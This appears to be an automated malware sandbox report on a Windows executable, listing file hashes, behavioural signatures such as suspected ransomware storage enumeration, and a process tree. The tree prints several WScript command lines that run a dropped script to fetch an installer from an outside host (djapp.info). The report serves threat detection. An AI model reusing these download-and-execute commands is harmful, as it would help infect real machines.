Analysis

  • max time kernel
    51s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    04/12/2022, 11:35

General

  • Target

    af52bedddad36e7e337e046b1d0f292a5ab8f8ed3f23756dc2e483790b20b7e8.exe

  • Size

    184KB

  • MD5

    5fd4bad831bf8734ad9788af331cac82

  • SHA1

    0b75fb426592e96036aa31122c3e7c96afa3abbd

  • SHA256

    af52bedddad36e7e337e046b1d0f292a5ab8f8ed3f23756dc2e483790b20b7e8

  • SHA512

    97d75c1c54f33f09c9483d1039cbbc11142b6fd026c25f79999141d9372795759cc3269b9f12a2d97c1ed4247562c2eed4adb2850e651e58d648c598cc4626ca

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3t:/7BSH8zUB+nGESaaRvoB7FJNndn4

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\af52bedddad36e7e337e046b1d0f292a5ab8f8ed3f23756dc2e483790b20b7e8.exe
    "C:\Users\Admin\AppData\Local\Temp\af52bedddad36e7e337e046b1d0f292a5ab8f8ed3f23756dc2e483790b20b7e8.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1504
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3D7E.js" http://www.djapp.info/?domain=VBXCfwNzmU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf3D7E.exe
      2⤵
      • Blocklisted process makes network request
      PID:1352
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3D7E.js" http://www.djapp.info/?domain=VBXCfwNzmU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf3D7E.exe
      2⤵
      • Blocklisted process makes network request
      PID:1672
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3D7E.js" http://www.djapp.info/?domain=VBXCfwNzmU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf3D7E.exe
      2⤵
      • Blocklisted process makes network request
      PID:960
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3D7E.js" http://www.djapp.info/?domain=VBXCfwNzmU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf3D7E.exe
      2⤵
      • Blocklisted process makes network request
      PID:1608
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3D7E.js" http://www.djapp.info/?domain=VBXCfwNzmU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf3D7E.exe
      2⤵
      • Blocklisted process makes network request
      PID:1632

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\fuf3D7E.js

          Filesize

          3KB

          MD5

          3813cab188d1de6f92f8b82c2059991b

          SHA1

          4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

          SHA256

          a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

          SHA512

          83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\KBQL1LX9.txt

          Filesize

          100B

          MD5

          e95af71c66d32d3697c1a705b691edc9

          SHA1

          d1744d4094afff7b3c50b33b492866d4d98fa467

          SHA256

          04d7070ab35a4c29bfefa187f4f2bcd729fbc8c139af1494fa34167ad6ed8d52

          SHA512

          86df20ccbfa88092205601591ec2e0d8ca9cdead7e6ffd45c904081802074089eb214b3f24b65bb899d84fc8ff4bcae22aadc72f5f30164b74671664f1ba86f4

        • memory/1504-54-0x00000000768A1000-0x00000000768A3000-memory.dmp

          Filesize

          8KB